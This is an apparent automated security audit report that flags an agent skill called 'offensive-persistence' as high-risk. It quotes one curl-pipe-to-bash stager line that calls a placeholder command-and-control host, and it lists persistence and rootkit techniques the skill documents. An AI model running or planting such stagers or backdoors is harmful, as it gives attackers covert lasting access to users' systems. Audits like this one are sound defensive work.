offensive-persistence

Fail

Audited by Gen Agent Trust Hub on Aug 27, 2026

Risk Level: HIGHREMOTE_CODE_EXECUTIONPERSISTENCEPRIVILEGE_ESCALATIONDYNAMIC_EXECUTIONEXTERNAL_DOWNLOADSCOMMAND_EXECUTIONDATA_EXFILTRATION
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill includes code snippets designed to download and execute scripts from a remote server (c2.example.com) directly into a bash shell. Evidence: (curl -s https://c2.example.com/stager | bash &) 2>/dev/null is integrated into shell profile and Git hook persistence examples.
  • [PERSISTENCE]: The skill documents dozens of mechanisms for maintaining long-term access, including Registry Run keys, Scheduled Tasks, WMI event subscriptions, cron jobs, systemd services, SSH authorized_keys injection, and shell profile backdoors.
  • [PRIVILEGE_ESCALATION]: Provides instructions for acquiring elevated permissions, including creating Windows services as LocalSystem, injecting malicious PAM modules, and kernel module rootkit installation.
  • [DYNAMIC_EXECUTION]: Includes C source templates for DLLs, PAM modules, and LD_PRELOAD libraries that are compiled and loaded at runtime to hijack process execution.
  • [EXTERNAL_DOWNLOADS]: References external payloads from a non-whitelisted domain (c2.example.com) for use in persistent backdoors.
  • [COMMAND_EXECUTION]: Leverages multiple high-risk system utilities for modifying core OS configurations and bypassing safety controls, such as reg add, schtasks, sc create, systemctl, and insmod.
  • [DATA_EXFILTRATION]: The remote stager patterns configured in background processes establish command-and-control channels capable of exfiltrating sensitive data.
Recommendations
  • HIGH: Downloads and executes remote code from: https://c2.example.com/stager - DO NOT USE without thorough review
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Aug 27, 2026, 02:26 PM
Security Audit — agent-trust-hub — offensive-persistence